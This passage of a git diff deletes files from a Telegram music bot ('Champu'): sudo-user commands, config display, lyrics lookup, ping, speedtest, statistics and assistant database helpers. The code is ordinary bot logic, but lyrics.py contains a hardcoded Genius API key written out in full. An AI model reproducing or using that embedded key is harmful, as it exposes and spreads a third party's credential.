is None: - return await message.reply_text( - "**Due to bot's privacy issues, You can't manage sudo users when you're using Champu's Database.\n\n Please fill your MONGO_DB_URI in your vars to use this feature**" - ) - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - if "@" in user: - user = user.replace("@", "") - user = await app.get_users(user) - if user.id not in SUDOERS: - return await message.reply_text(_["sudo_3"]) - removed = await remove_sudo(user.id) - if removed: - SUDOERS.remove(user.id) - await message.reply_text(_["sudo_4"]) - return - await message.reply_text(f"Something wrong happened.") - return - user_id = message.reply_to_message.from_user.id - if user_id not in SUDOERS: - return await message.reply_text(_["sudo_3"]) - removed = await remove_sudo(user_id) - if removed: - SUDOERS.remove(user_id) - await message.reply_text(_["sudo_4"]) - return - await message.reply_text(f"Something wrong happened.") - - -@app.on_message(filters.command(SUDOUSERS_COMMAND) & ~BANNED_USERS) -@language -async def sudoers_list(client, message: Message, _): - text = _["sudo_5"] - count = 0 - for x in OWNER_ID: - try: - user = await app.get_users(x) - user = ( - user.first_name if not user.mention else user.mention - ) - count += 1 - except Exception: - continue - text += f"{count}➤ {user}\n" - smex = 0 - for user_id in SUDOERS: - if user_id not in OWNER_ID: - try: - user = await app.get_users(user_id) - user = ( - user.first_name - if not user.mention - else user.mention - ) - if smex == 0: - smex += 1 - text += _["sudo_6"] - count += 1 - text += f"{count}➤ {user}\n" - except Exception: - continue - if not text: - await message.reply_text(_["sudo_7"]) - else: - await message.reply_text(text) diff --git a/Champu/plugins/sudo/vars.py b/Champu/plugins/sudo/vars.py deleted file mode 100644 index 2aa2322..0000000 --- a/Champu/plugins/sudo/vars.py +++ /dev/null @@ -1,124 +0,0 @@ -import asyncio - -from pyrogram import filters - -import config -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database.memorydatabase import get_video_limit -from Champu.utils.formatters import convert_bytes - -VARS_COMMAND = get_command("VARS_COMMAND") - - -@app.on_message(filters.command(VARS_COMMAND) & SUDOERS) -async def varsFunc(client, message): - mystic = await message.reply_text( - "Please wait.. Getting your config" - ) - v_limit = await get_video_limit() - bot_name = config.MUSIC_BOT_NAME - up_r = f"[Repo]({config.UPSTREAM_REPO})" - up_b = config.UPSTREAM_BRANCH - auto_leave = config.AUTO_LEAVE_ASSISTANT_TIME - yt_sleep = config.YOUTUBE_DOWNLOAD_EDIT_SLEEP - tg_sleep = config.TELEGRAM_DOWNLOAD_EDIT_SLEEP - playlist_limit = config.SERVER_PLAYLIST_LIMIT - fetch_playlist = config.PLAYLIST_FETCH_LIMIT - song = config.SONG_DOWNLOAD_DURATION - play_duration = config.DURATION_LIMIT_MIN - cm = config.CLEANMODE_DELETE_MINS - auto_sug = config.AUTO_SUGGESTION_TIME - if config.AUTO_LEAVING_ASSISTANT == str(True): - ass = "Yes" - else: - ass = "No" - if config.PRIVATE_BOT_MODE == str(True): - pvt = "Yes" - else: - pvt = "No" - if config.AUTO_SUGGESTION_MODE == str(True): - a_sug = "Yes" - else: - a_sug = "No" - if config.AUTO_DOWNLOADS_CLEAR == str(True): - down = "Yes" - else: - down = "No" - - if not config.GITHUB_REPO: - git = "No" - else: - git = f"[Repo]({config.GITHUB_REPO})" - if not config.START_IMG_URL: - start = "No" - else: - start = f"[Image]({config.START_IMG_URL})" - if not config.SUPPORT_CHANNEL: - s_c = "No" - else: - s_c = f"[Channel]({config.SUPPORT_CHANNEL})" - if not config.SUPPORT_GROUP: - s_g = "No" - else: - s_g = f"[Group]({config.SUPPORT_GROUP})" - if not config.GIT_TOKEN: - token = "No" - else: - token = "Yes" - if ( - not config.SPOTIFY_CLIENT_ID - and not config.SPOTIFY_CLIENT_SECRET - ): - sotify = "No" - else: - sotify = "Yes" - owners = [str(ids) for ids in config.OWNER_ID] - owner_id = " ,".join(owners) - tg_aud = convert_bytes(config.TG_AUDIO_FILESIZE_LIMIT) - tg_vid = convert_bytes(config.TG_VIDEO_FILESIZE_LIMIT) - text = f"""**MUSIC BOT CONFIG:** - -**Basic Vars:** -`MUSIC_BOT_NAME` : **{bot_name}** -`DURATION_LIMIT` : **{play_duration} min** -`SONG_DOWNLOAD_DURATION_LIMIT` :** {song} min** -`OWNER_ID` : **{owner_id}** - -**Custom Repo Vars:** -`UPSTREAM_REPO` : **{up_r}** -`UPSTREAM_BRANCH` : **{up_b}** -`GITHUB_REPO` :** {git}** -`GIT_TOKEN `:** {token}** - - -**Bot Vars:** -`AUTO_LEAVING_ASSISTANT` : **{ass}** -`ASSISTANT_LEAVE_TIME` : **{auto_leave} seconds** -`AUTO_SUGGESTION_MODE` :** {a_sug}** -`AUTO_SUGGESTION_TIME` : **{auto_sug} seconds** -`AUTO_DOWNLOADS_CLEAR` : **{down}** -`PRIVATE_BOT_MODE` : **{pvt}** -`YOUTUBE_EDIT_SLEEP` : **{yt_sleep} seconds** -`TELEGRAM_EDIT_SLEEP` :** {tg_sleep} seconds** -`CLEANMODE_MINS` : **{cm} mins** -`VIDEO_STREAM_LIMIT` : **{v_limit} chats** -`SERVER_PLAYLIST_LIMIT` :** {playlist_limit}** -`PLAYLIST_FETCH_LIMIT` :** {fetch_playlist}** - -**Spotify Vars:** -`SPOTIFY_CLIENT_ID` :** {sotify}** -`SPOTIFY_CLIENT_SECRET` : **{sotify}** - -**Playsize Vars:** -`TG_AUDIO_FILESIZE_LIMIT` :** {tg_aud}** -`TG_VIDEO_FILESIZE_LIMIT` :** {tg_vid}** - -**URL Vars:** -`SUPPORT_CHANNEL` : **{s_c}** -`SUPPORT_GROUP` : ** {s_g}** -`START_IMG_URL` : ** {start}** - """ - await asyncio.sleep(1) - await mystic.edit_text(text) diff --git a/Champu/plugins/sudo/videolimit.py b/Champu/plugins/sudo/videolimit.py deleted file mode 100644 index b9b859b..0000000 --- a/Champu/plugins/sudo/videolimit.py +++ /dev/null @@ -1,32 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import set_video_limit -from Champu.utils.decorators.language import language - -VIDEOLIMIT_COMMAND = get_command("VIDEOLIMIT_COMMAND") - - -@app.on_message(filters.command(VIDEOLIMIT_COMMAND) & SUDOERS) -@language -async def set_video_limit_kid(client, message: Message, _): - if len(message.command) != 2: - usage = _["vid_1"] - return await message.reply_text(usage) - message.chat.id - state = message.text.split(None, 1)[1].strip() - if state.lower() == "disable": - limit = 0 - await set_video_limit(limit) - return await message.reply_text(_["vid_4"]) - if state.isnumeric(): - limit = int(state) - await set_video_limit(limit) - if limit == 0: - return await message.reply_text(_["vid_4"]) - await message.reply_text(_["vid_3"].format(limit)) - else: - return await message.reply_text(_["vid_2"]) diff --git a/Champu/plugins/sudo/videomode.py b/Champu/plugins/sudo/videomode.py deleted file mode 100644 index b182502..0000000 --- a/Champu/plugins/sudo/videomode.py +++ /dev/null @@ -1,30 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -import config -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import add_off, add_on -from Champu.utils.decorators.language import language - -# Commands -VIDEOMODE_COMMAND = get_command("VIDEOMODE_COMMAND") - - -@app.on_message(filters.command(VIDEOMODE_COMMAND) & SUDOERS) -@language -async def videoloaymode(client, message: Message, _): - usage = _["vidmode_1"] - if len(message.command) != 2: - return await message.reply_text(usage) - state = message.text.split(None, 1)[1].strip() - state = state.lower() - if state == "download": - await add_on(config.YTDOWNLOADER) - await message.reply_text(_["vidmode_2"]) - elif state == "m3u8": - await add_off(config.YTDOWNLOADER) - await message.reply_text(_["vidmode_3"]) - else: - await message.reply_text(usage) diff --git a/Champu/plugins/tools/active.py b/Champu/plugins/tools/active.py deleted file mode 100644 index 53fbc32..0000000 --- a/Champu/plugins/tools/active.py +++ /dev/null @@ -1,68 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database.memorydatabase import ( - get_active_chats, get_active_video_chats) - -# Commands -ACTIVEVC_COMMAND = get_command("ACTIVEVC_COMMAND") -ACTIVEVIDEO_COMMAND = get_command("ACTIVEVIDEO_COMMAND") - - -@app.on_message(filters.command(ACTIVEVC_COMMAND) & SUDOERS) -async def activevc(_, message: Message): - mystic = await message.reply_text( - "Getting active voice chats.. Please hold" - ) - served_chats = await get_active_chats() - text = "" - j = 0 - for x in served_chats: - try: - title = (await app.get_chat(x)).title - except Exception: - title = "Private Group" - if (await app.get_chat(x)).username: - user = (await app.get_chat(x)).username - text += f"{j + 1}. [{title}](https://t.me/{user})[`{x}`]\n" - else: - text += f"{j + 1}. {title} [`{x}`]\n" - j += 1 - if not text: - await mystic.edit_text("No Active Voice Chats") - else: - await mystic.edit_text( - f"**Active Voice Chats:-**\n\n{text}", - disable_web_page_preview=True, - ) - - -@app.on_message(filters.command(ACTIVEVIDEO_COMMAND) & SUDOERS) -async def activevi_(_, message: Message): - mystic = await message.reply_text( - "Getting active video chats.. Please hold" - ) - served_chats = await get_active_video_chats() - text = "" - j = 0 - for x in served_chats: - try: - title = (await app.get_chat(x)).title - except Exception: - title = "Private Group" - if (await app.get_chat(x)).username: - user = (await app.get_chat(x)).username - text += f"{j + 1}. [{title}](https://t.me/{user})[`{x}`]\n" - else: - text += f"{j + 1}. {title} [`{x}`]\n" - j += 1 - if not text: - await mystic.edit_text("No Active Voice Chats") - else: - await mystic.edit_text( - f"**Active Video Calls:-**\n\n{text}", - disable_web_page_preview=True, - ) diff --git a/Champu/plugins/tools/lyrics.py b/Champu/plugins/tools/lyrics.py deleted file mode 100644 index 2ae4ab6..0000000 --- a/Champu/plugins/tools/lyrics.py +++ /dev/null @@ -1,57 +0,0 @@ -import random -import re -import string - -import lyricsgenius as lg -from pyrogram import filters -from pyrogram.types import (InlineKeyboardButton, - InlineKeyboardMarkup, Message) - -from config import BANNED_USERS, lyrical -from strings import get_command -from Champu import app -from Champu.utils.decorators.language import language - -###Commands -LYRICS_COMMAND = get_command("LYRICS_COMMAND") - -api_key = "Vd9FvPMOKWfsKJNG9RbZnItaTNIRFzVyyXFdrGHONVsGqHcHBoj3AI3sIlNuqzuf0ZNG8uLcF9wAd5DXBBnUzA" -y = lg.Genius( - api_key, - skip_non_songs=True, - excluded_terms=["(Remix)", "(Live)"], - remove_section_headers=True, -) -y.verbose = False - - -@app.on_message( - filters.command(LYRICS_COMMAND) & ~filters.edited & ~BANNED_USERS -) -@language -async def lrsearch(client, message: Message, _): - if len(message.command) < 2: - return await message.reply_text(_["lyrics_1"]) - title = message.text.split(None, 1)[1] - m = await message.reply_text(_["lyrics_2"]) - S = y.search_song(title, get_full_info=False) - if S is None: - return await m.edit(_["lyrics_3"].format(title)) - ran_hash = "".join( - random.choices(string.ascii_uppercase + string.digits, k=10) - ) - lyric = S.lyrics - if "Embed" in lyric: - lyric = re.sub(r"\d*Embed", "", lyric) - lyrical[ran_hash] = lyric - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["L_B_1"], - url=f"https://t.me/{app.username}?start=lyrics_{ran_hash}", - ), - ] - ] - ) - await m.edit(_["lyrics_4"], reply_markup=upl) diff --git a/Champu/plugins/tools/ping.py b/Champu/plugins/tools/ping.py deleted file mode 100644 index d8565fe..0000000 --- a/Champu/plugins/tools/ping.py +++ /dev/null @@ -1,37 +0,0 @@ -from datetime import datetime - -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS, MUSIC_BOT_NAME, PING_IMG_URL -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.utils import bot_sys_stats -from Champu.utils.decorators.language import language - -### Commands -PING_COMMAND = get_command("PING_COMMAND") - - -@app.on_message( - filters.command(PING_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def ping_com(client, message: Message, _): - response = await message.reply_photo( - photo=PING_IMG_URL, - caption=_["ping_1"], - ) - start = datetime.now() - pytgping = await Champu.ping() - UP, CPU, RAM, DISK = await bot_sys_stats() - resp = (datetime.now() - start).microseconds / 1000 - await response.edit_text( - _["ping_2"].format( - MUSIC_BOT_NAME, resp, UP, DISK, CPU, RAM, pytgping - ) - ) diff --git a/Champu/plugins/tools/reload.py b/Champu/plugins/tools/reload.py deleted file mode 100644 index c09a578..0000000 --- a/Champu/plugins/tools/reload.py +++ /dev/null @@ -1,135 +0,0 @@ -import asyncio - -from pyrogram import filters -from pyrogram.types import CallbackQuery, Message - -from config import BANNED_USERS, MUSIC_BOT_NAME, adminlist, lyrical -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.misc import db -from Champu.utils.database import get_authuser_names, get_cmode -from Champu.utils.decorators import (ActualAdminCB, AdminActual, - language) -from Champu.utils.formatters import alpha_to_int - -### Multi-Lang Commands -RELOAD_COMMAND = get_command("RELOAD_COMMAND") -RESTART_COMMAND = get_command("RESTART_COMMAND") - - -@app.on_message( - filters.command(RELOAD_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def reload_admin_cache(client, message: Message, _): - try: - chat_id = message.chat.id - admins = await app.get_chat_members( - chat_id, filter="administrators" - ) - authusers = await get_authuser_names(chat_id) - adminlist[chat_id] = [] - for user in admins: - if user.can_manage_voice_chats: - adminlist[chat_id].append(user.user.id) - for user in authusers: - user_id = await alpha_to_int(user) - adminlist[chat_id].append(user_id) - await message.reply_text(_["admin_20"]) - except: - await message.reply_text( - "Failed to reload admincache. Make sure Bot is admin in your chat." - ) - - -@app.on_message( - filters.command(RESTART_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminActual -async def restartbot(client, message: Message, _): - mystic = await message.reply_text( - f"Please Wait.. Restarting {MUSIC_BOT_NAME} for your chat.." - ) - await asyncio.sleep(1) - try: - db[message.chat.id] = [] - await Champu.stop_stream(message.chat.id) - except: - pass - chat_id = await get_cmode(message.chat.id) - if chat_id: - try: - await app.get_chat(chat_id) - except: - pass - try: - db[chat_id] = [] - await Champu.stop_stream(chat_id) - except: - pass - return await mystic.edit_text( - "Successfully restarted. Try playing now.." - ) - - -@app.on_callback_query(filters.regex("close") & ~BANNED_USERS) -async def close_menu(_, CallbackQuery): - try: - await CallbackQuery.message.delete() - await CallbackQuery.answer() - except: - return - - -@app.on_callback_query(filters.regex("close") & ~BANNED_USERS) -async def close_menu(_, CallbackQuery): - try: - await CallbackQuery.message.delete() - await CallbackQuery.answer() - except: - return - - -@app.on_callback_query( - filters.regex("stop_downloading") & ~BANNED_USERS -) -@ActualAdminCB -async def stop_download(client, CallbackQuery: CallbackQuery, _): - message_id = CallbackQuery.message.message_id - task = lyrical.get(message_id) - if not task: - return await CallbackQuery.answer( - "Downloading already Completed.", show_alert=True - ) - if task.done() or task.cancelled(): - return await CallbackQuery.answer( - "Downloading already Completed or Cancelled.", - show_alert=True, - ) - if not task.done(): - try: - task.cancel() - try: - lyrical.pop(message_id) - except: - pass - await CallbackQuery.answer( - "Downloading Cancelled", show_alert=True - ) - return await CallbackQuery.edit_message_text( - f"Download Cancelled by {CallbackQuery.from_user.mention}" - ) - except: - return await CallbackQuery.answer( - "Failed to stop the Downloading.", show_alert=True - ) - await CallbackQuery.answer( - "Failed to recognize the running task", show_alert=True - ) diff --git a/Champu/plugins/tools/speedtest.py b/Champu/plugins/tools/speedtest.py deleted file mode 100644 index 9235563..0000000 --- a/Champu/plugins/tools/speedtest.py +++ /dev/null @@ -1,50 +0,0 @@ -import asyncio -import speedtest -from pyrogram import filters -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS - -# Commands -SPEEDTEST_COMMAND = get_command("SPEEDTEST_COMMAND") - - -def testspeed(m): - try: - test = speedtest.Speedtest() - test.get_best_server() - m = m.edit("Running Download SpeedTest") - test.download() - m = m.edit("Running Upload SpeedTest") - test.upload() - test.results.share() - result = test.results.dict() - m = m.edit("Sharing SpeedTest Results") - except Exception as e: - return m.edit(e) - return result - - -@app.on_message(filters.command(SPEEDTEST_COMMAND) & SUDOERS) -async def speedtest_function(client, message): - m = await message.reply_text("Running Speed test") - loop = asyncio.get_event_loop() - result = await loop.run_in_executor(None, testspeed, m) - output = f"""**Speedtest Results** - -**Client:** -**__ISP:__** {result['client']['isp']} -**__Country:__** {result['client']['country']} - -**Server:** -**__Name:__** {result['server']['name']} -**__Country:__** {result['server']['country']}, {result['server']['cc']} -**__Sponsor:__** {result['server']['sponsor']} -**__Latency:__** {result['server']['latency']} -**__Ping:__** {result['ping']}""" - msg = await app.send_photo( - chat_id=message.chat.id, - photo=result["share"], - caption=output - ) - await m.delete() diff --git a/Champu/plugins/tools/stats.py b/Champu/plugins/tools/stats.py deleted file mode 100644 index 9575a62..0000000 --- a/Champu/plugins/tools/stats.py +++ /dev/null @@ -1,465 +0,0 @@ -import asyncio -import platform -from sys import version as pyver - -import psutil -from pyrogram import __version__ as pyrover -from pyrogram import filters -from pyrogram.errors import MessageIdInvalid -from pyrogram.types import CallbackQuery, InputMediaPhoto, Message -from pytgcalls.__version__ import __version__ as pytgver - -import config -from config import BANNED_USERS, MUSIC_BOT_NAME -from strings import get_command -from Champu import YouTube, app -from Champu.core.userbot import assistants -from Champu.misc import SUDOERS, pymongodb -from Champu.plugins import ALL_MODULES -from Champu.utils.database import (get_global_tops, - get_particulars, get_queries, - get_served_chats, - get_served_users, get_sudoers, - get_top_chats, get_topp_users) -from Champu.utils.decorators.language import language, languageCB -from Champu.utils.inline.stats import (back_stats_buttons, - back_stats_markup, - get_stats_markup, - overallback_stats_markup, - stats_buttons, - top_ten_stats_markup) - -loop = asyncio.get_running_loop() - -# Commands -GSTATS_COMMAND = get_command("GSTATS_COMMAND") -STATS_COMMAND = get_command("STATS_COMMAND") - - -@app.on_message( - filters.command(STATS_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def stats_global(client, message: Message, _): - upl = stats_buttons( - _, True if message.from_user.id in SUDOERS else False - ) - await message.reply_photo( - photo=config.STATS_IMG_URL, - caption=_["gstats_11"].format(config.MUSIC_BOT_NAME), - reply_markup=upl, - ) - - -@app.on_message( - filters.command(GSTATS_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def gstats_global(client, message: Message, _): - mystic = await message.reply_text(_["gstats_1"]) - stats = await get_global_tops() - if not stats: - await asyncio.sleep(1) - return await mystic.edit(_["gstats_2"]) - - def get_stats(): - results = {} - for i in stats: - top_list = stats[i]["spot"] - results[str(i)] = top_list - list_arranged = dict( - sorted( - results.items(), - key=lambda item: item[1], - reverse=True, - ) - ) - if not results: - return mystic.edit(_["gstats_2"]) - videoid = None - co = None - for vidid, count in list_arranged.items(): - if vidid == "telegram": - continue - else: - videoid = vidid - co = count - break - return videoid, co - - try: - videoid, co = await loop.run_in_executor(None, get_stats) - except Exception as e: - print(e) - return - ( - title, - duration_min, - duration_sec, - thumbnail, - vidid, - ) = await YouTube.details(videoid, True) - title = title.title() - final = f"Top Most Played Track on {MUSIC_BOT_NAME}\n\n**Title:** {title}\n\nPlayed** {co} **times" - upl = get_stats_markup( - _, True if message.from_user.id in SUDOERS else False - ) - await app.send_photo( - message.chat.id, - photo=thumbnail, - caption=final, - reply_markup=upl, - ) - await mystic.delete() - - -@app.on_callback_query(filters.regex("GetStatsNow") & ~BANNED_USERS) -@languageCB -async def top_users_ten(client, CallbackQuery: CallbackQuery, _): - chat_id = CallbackQuery.message.chat.id - callback_data = CallbackQuery.data.strip() - what = callback_data.split(None, 1)[1] - upl = back_stats_markup(_) - try: - await CallbackQuery.answer() - except: - pass - mystic = await CallbackQuery.edit_message_text( - _["gstats_3"].format( - f"of {CallbackQuery.message.chat.title}" - if what == "Here" - else what - ) - ) - if what == "Tracks": - stats = await get_global_tops() - elif what == "Chats": - stats = await get_top_chats() - elif what == "Users": - stats = await get_topp_users() - elif what == "Here": - stats = await get_particulars(chat_id) - if not stats: - await asyncio.sleep(1) - return await mystic.edit(_["gstats_2"], reply_markup=upl) - queries = await get_queries() - - def get_stats(): - results = {} - for i in stats: - top_list = ( - stats[i] - if what in ["Chats", "Users"] - else stats[i]["spot"] - ) - results[str(i)] = top_list - list_arranged = dict( - sorted( - results.items(), - key=lambda item: item[1], - reverse=True, - ) - ) - if not results: - return mystic.edit(_["gstats_2"], reply_markup=upl) - msg = "" - limit = 0 - total_count = 0 - if what in ["Tracks", "Here"]: - for items, count in list_arranged.items(): - total_count += count - if limit == 10: - continue - limit += 1 - details = stats.get(items) - title = (details["title"][:35]).title() - if items == "telegram": - msg += f"🔗[Telegram Files and Audios](https://t.me/telegram) ** played {count} times**\n\n" - else: - msg += f"🔗 [{title}](https://www.youtube.com/watch?v={items}) ** played {count} times**\n\n" - - temp = ( - _["gstats_4"].format( - queries, - config.MUSIC_BOT_NAME, - len(stats), - total_count, - limit, - ) - if what == "Tracks" - else _["gstats_7"].format( - len(stats), total_count, limit - ) - ) - msg = temp + msg - return msg, list_arranged - - try: - msg, list_arranged = await loop.run_in_executor( - None, get_stats - ) - except Exception as e: - print(e) - return - limit = 0 - if what in ["Users", "Chats"]: - for items, count in list_arranged.items(): - if limit == 10: - break - try: - extract = ( - (await app.get_users(items)).first_name - if what == "Users" - else (await app.get_chat(items)).title - ) - if extract is None: - continue - await asyncio.sleep(0.5) - except: - continue - limit += 1 - msg += f"🔗`{extract}` played {count} times on bot.\n\n" - temp = ( - _["gstats_5"].format(limit, MUSIC_BOT_NAME) - if what == "Chats" - else _["gstats_6"].format(limit, MUSIC_BOT_NAME) - ) - msg = temp + msg - med = InputMediaPhoto(media=config.GLOBAL_IMG_URL, caption=msg) - try: - await CallbackQuery.edit_message_media( - media=med, reply_markup=upl - ) - except MessageIdInvalid: - await CallbackQuery.message.reply_photo( - photo=config.GLOBAL_IMG_URL, caption=msg, reply_markup=upl - ) - - -@app.on_callback_query(filters.regex("TopOverall") & ~BANNED_USERS) -@languageCB -async def overall_stats(client, CallbackQuery, _): - callback_data = CallbackQuery.data.strip() - what = callback_data.split(None, 1)[1] - if what != "s": - upl = overallback_stats_markup(_) - else: - upl = back_stats_buttons(_) - try: - await CallbackQuery.answer() - except: - pass - await CallbackQuery.edit_message_text(_["gstats_8"]) - served_chats = len(await get_served_chats()) - served_users = len(await get_served_users()) - total_queries = await get_queries() - blocked = len(BANNED_USERS) - sudoers = len(SUDOERS) - mod = len(ALL_MODULES) - assistant = len(assistants) - playlist_limit = config.SERVER_PLAYLIST_LIMIT - fetch_playlist = config.PLAYLIST_FETCH_LIMIT - song = config.SONG_DOWNLOAD_DURATION - play_duration = config.DURATION_LIMIT_MIN - if config.AUTO_LEAVING_ASSISTANT == str(True): - ass = "Yes" - else: - ass = "No" - cm = config.CLEANMODE_DELETE_MINS - text = f"""**Bot's Stats and Information:** - -**Imported Modules:** {mod} -**Served Chats:** {served_chats} -**Served Users:** {served_users} -**Blocked Users:** {blocked} -**Sudo Users:** {sudoers} - -**Total Queries:** {total_queries} -**Total Assistants:** {assistant} -**Auto Leaving Assistant:** {ass} -**Cleanmode duration:** {cm} Mins - -**Play Duration Limit:** {play_duration} Mins -**Song Download Limit:** {song} Mins -**Bot's Server Playlist Limit:** {playlist_limit} -**Playlist Play Limit:** {fetch_playlist}""" - med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text) - try: - await CallbackQuery.edit_message_media( - media=med, reply_markup=upl - ) - except MessageIdInvalid: - await CallbackQuery.message.reply_photo( - photo=config.STATS_IMG_URL, caption=text, reply_markup=upl - ) - - -@app.on_callback_query(filters.regex("bot_stats_sudo")) -@languageCB -async def overall_stats(client, CallbackQuery, _): - if CallbackQuery.from_user.id not in SUDOERS: - return await CallbackQuery.answer( - "Only for Sudo Users", show_alert=True - ) - callback_data = CallbackQuery.data.strip() - what = callback_data.split(None, 1)[1] - if what != "s": - upl = overallback_stats_markup(_) - else: - upl = back_stats_buttons(_) - try: - await CallbackQuery.answer() - except: - pass - await CallbackQuery.edit_message_text(_["gstats_8"]) - sc = platform.system() - p_core = psutil.cpu_count(logical=False) - t_core = psutil.cpu_count(logical=True) - ram = ( - str(round(psutil.virtual_memory().total / (1024.0**3))) - + " GB" - ) - try: - cpu_freq = psutil.cpu_freq().current - if cpu_freq >= 1000: - cpu_freq = f"{round(cpu_freq / 1000, 2)}GHz" - else: - cpu_freq = f"{round(cpu_freq, 2)}MHz" - except: - cpu_freq = "Unable to Fetch" - hdd = psutil.disk_usage("/") - total = hdd.total / (1024.0**3) - total = str(total) - used = hdd.used / (1024.0**3) - used = str(used) - free = hdd.free / (1024.0**3) - free = str(free) - mod = len(ALL_MODULES) - db = pymongodb - call = db.command("dbstats") - datasize = call["dataSize"] / 1024 - datasize = str(datasize) - storage = call["storageSize"] / 1024 - objects = call["objects"] - collections = call["collections"] - status = db.command("serverStatus") - query = status["opcounters"]["query"] - mongouptime = status["uptime"] / 86400 - mongouptime = str(mongouptime) - served_chats = len(await get_served_chats()) - served_users = len(await get_served_users()) - total_queries = await get_queries() - blocked = len(BANNED_USERS) - sudoers = len(await get_sudoers()) - text = f""" **Bot's Stats and Information:** - -**Imported Modules:** {mod} -**Platform:** {sc} -**Ram:** {ram} -**Physical Cores:** {p_core} -**Total Cores:** {t_core} -**Cpu Frequency:** {cpu_freq} - -**Python Version :** {pyver.split()[0]} -**Pyrogram Version :** {pyrover} -**Py-TgCalls Version :** {pytgver} - -**Storage Avail:** {total[:4]} GiB -**Storage Used:** {used[:4]} GiB -**Storage Left:** {free[:4]} GiB - -**Served Chats:** {served_chats} -**Served Users:** {served_users} -**Blocked Users:** {blocked} -**Sudo Users:** {sudoers} - -**Mongo Uptime:** {mongouptime[:4]} Days -**Total DB Size:** {datasize[:6]} Mb -**Total DB Storage:** {storage} Mb -**Total DB Collections:** {collections} -**Total DB Keys:** {objects} -**Total DB Queries:** `{query}` -**Total Bot Queries:** `{total_queries} ` - """ - med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text) - try: - await CallbackQuery.edit_message_media( - media=med, reply_markup=upl - ) - except MessageIdInvalid: - await CallbackQuery.message.reply_photo( - photo=config.STATS_IMG_URL, caption=text, reply_markup=upl - ) - - -@app.on_callback_query( - filters.regex(pattern=r"^(TOPMARKUPGET|GETSTATS|GlobalStats)$") - & ~BANNED_USERS -) -@languageCB -async def back_buttons(client, CallbackQuery, _): - try: - await CallbackQuery.answer() - except: - pass - command = CallbackQuery.matches[0].group(1) - if command == "TOPMARKUPGET": - upl = top_ten_stats_markup(_) - med = InputMediaPhoto( - media=config.GLOBAL_IMG_URL, - caption=_["gstats_9"], - ) - try: - await CallbackQuery.edit_message_media( - media=med, reply_markup=upl - ) - except MessageIdInvalid: - await CallbackQuery.message.reply_photo( - photo=config.GLOBAL_IMG_URL, - caption=_["gstats_9"], - reply_markup=upl, - ) - if command == "GlobalStats": - upl = get_stats_markup( - _, - True if CallbackQuery.from_user.id in SUDOERS else False, - ) - med = InputMediaPhoto( - media=config.GLOBAL_IMG_URL, - caption=_["gstats_10"].format(config.MUSIC_BOT_NAME), - ) - try: - await CallbackQuery.edit_message_media( - media=med, reply_markup=upl - ) - except MessageIdInvalid: - await CallbackQuery.message.reply_photo( - photo=config.GLOBAL_IMG_URL, - caption=_["gstats_10"].format(config.MUSIC_BOT_NAME), - reply_markup=upl, - ) - if command == "GETSTATS": - upl = stats_buttons( - _, - True if CallbackQuery.from_user.id in SUDOERS else False, - ) - med = InputMediaPhoto( - media=config.STATS_IMG_URL, - caption=_["gstats_11"].format(config.MUSIC_BOT_NAME), - ) - try: - await CallbackQuery.edit_message_media( - media=med, reply_markup=upl - ) - except MessageIdInvalid: - await CallbackQuery.message.reply_photo( - photo=config.STATS_IMG_URL, - caption=_["gstats_11"].format(config.MUSIC_BOT_NAME), - reply_markup=upl, - ) diff --git a/Champu/utils/database/__init__.py b/Champu/utils/database/__init__.py deleted file mode 100644 index ac053a5..0000000 --- a/Champu/utils/database/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -from .assistantdatabase import * -from .memorydatabase import * -from .mongodatabase import * diff --git a/Champu/utils/database/assistantdatabase.py b/Champu/utils/database/assistantdatabase.py deleted file mode 100644 index 8d05428..0000000 --- a/Champu/utils/database/assistantdatabase.py +++ /dev/null @@ -1,107 +0,0 @@ -import random - -from Champu import userbot -from Champu.core.mongo import mongodb - -db = mongodb.assistants - -assistantdict = {} - - -async def get_client(assistant: int): - if int(assistant) == 1: - return userbot.one - elif int(assistant) == 2: - return userbot.two - elif int(assistant) == 3: - return userbot.three - elif int(assistant) == 4: - return userbot.four - elif int(assistant) == 5: - return userbot.five - - -async def set_assistant(chat_id): - from Champu.core.userbot import assistants - - ran_assistant = random.choice(assistants) - assistantdict[chat_id] = ran_assistant - await db.update_one( - {"chat_id": chat_id}, - {"$set": {"assistant": ran_assistant}}, - upsert=True, - ) - userbot = await get_client(ran_assistant) - return userbot - - -async def get_assistant(chat_id: int) -> str: - from Champu.core.userbot import assistants - - assistant = assistantdict.get(chat_id) - if not assistant: - dbassistant = await db.find_one({"chat_id": chat_id}) - if not dbassistant: - userbot = await set_assistant(chat_id) - return userbot - else: - got_assis = dbassistant["assistant"] - if got_assis in assistants: - assistantdict[chat_id] = got_assis - userbot = await get_client(got_assis) - return userbot - else: - userbot = await set_assistant(chat_id) - return userbot - else: - if assistant in assistants: - userbot = await get_client(assistant) - return userbot - else: - userbot = await set_assistant(chat_id) - return userbot - - -async def set_calls_assistant(chat_id): - from Champu.core.userbot import assistants - - ran_assistant = random.choice(assistants) - assistantdict[chat_id] = ran_assistant - await db.update_one( - {"chat_id": chat_id}, - {"$set": {"assistant": ran_assistant}}, - upsert=True, - ) - return ran_assistant - - -async def group_assistant(self, chat_id: int) -> int: - from Champu.core.userbot 